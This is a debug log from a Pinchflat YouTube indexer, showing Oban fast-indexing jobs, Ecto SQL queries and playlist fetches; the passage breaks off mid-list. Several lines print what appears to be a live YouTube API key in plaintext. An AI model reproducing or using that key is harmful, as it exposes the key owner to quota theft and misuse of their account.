"3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 17:57:14.015 [debug] QUERY OK source="media_items" db=0.4ms idle=176.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 17:57:14.016 [debug] QUERY OK source="tasks" db=0.0ms idle=170.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800330, 4, ~U[2026-02-10 23:57:14Z], ~U[2026-02-10 23:57:14Z]] 17:57:14.016 [info] {"args":{"id":4},"id":3800291,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":258854,"event":"job:stop","queue_time":411381,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:14.759 [info] {"args":{"id":26},"id":3800292,"meta":{},"system_time":1770767834759815538,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:14.760 [debug] QUERY OK source="sources" db=0.2ms idle=743.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 17:57:14.760 [debug] QUERY OK source="settings" db=0.1ms idle=743.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:14.760 [debug] QUERY OK source="media_profiles" db=0.1ms idle=737.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:14.760 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:14.760 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 17:57:14.761 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:14.761 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:14.858 [debug] QUERY OK source="media_items" db=0.6ms idle=97.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 17:57:14.859 [debug] QUERY OK source="media_items" db=0.5ms idle=98.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 17:57:14.860 [debug] QUERY OK source="tasks" db=0.1ms idle=98.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800331, 26, ~U[2026-02-10 23:57:14Z], ~U[2026-02-10 23:57:14Z]] 17:57:14.860 [info] {"args":{"id":26},"id":3800292,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":100277,"event":"job:stop","queue_time":507113,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:15.761 [info] {"args":{"id":18},"id":3800293,"meta":{},"system_time":1770767835761670754,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:15.761 [info] {"args":{"id":39},"id":3800294,"meta":{},"system_time":1770767835761717729,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:15.762 [debug] QUERY OK source="sources" db=0.1ms idle=901.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 17:57:15.762 [debug] QUERY OK source="sources" db=0.2ms idle=901.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 17:57:15.762 [debug] QUERY OK source="settings" db=0.1ms idle=895.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:15.762 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:15.762 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:15.762 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:15.762 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:15.762 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 17:57:15.762 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:15.762 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 17:57:15.762 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:15.762 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:15.762 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:15.762 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:15.937 [debug] QUERY OK source="media_items" db=0.6ms idle=173.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 17:57:15.938 [debug] QUERY OK source="media_items" db=0.7ms idle=174.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 17:57:15.939 [debug] QUERY OK source="tasks" db=0.1ms idle=176.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800332, 18, ~U[2026-02-10 23:57:15Z], ~U[2026-02-10 23:57:15Z]] 17:57:15.939 [info] {"args":{"id":18},"id":3800293,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":177488,"event":"job:stop","queue_time":477606,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:15.945 [info] {"args":{"id":3},"id":3800295,"meta":{},"system_time":1770767835945847008,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:15.946 [debug] QUERY OK source="sources" db=0.2ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:15.946 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:15.946 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:15.946 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:15.946 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 17:57:15.947 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:15.947 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:16.112 [debug] QUERY OK source="media_items" db=0.6ms idle=165.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 17:57:16.113 [debug] QUERY OK source="media_items" db=0.2ms idle=167.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 17:57:16.114 [debug] QUERY OK source="tasks" db=0.1ms idle=167.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800333, 39, ~U[2026-02-10 23:57:16Z], ~U[2026-02-10 23:57:16Z]] 17:57:16.114 [info] {"args":{"id":39},"id":3800294,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":353017,"event":"job:stop","queue_time":281617,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:16.257 [debug] QUERY OK source="media_items" db=0.8ms idle=142.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", 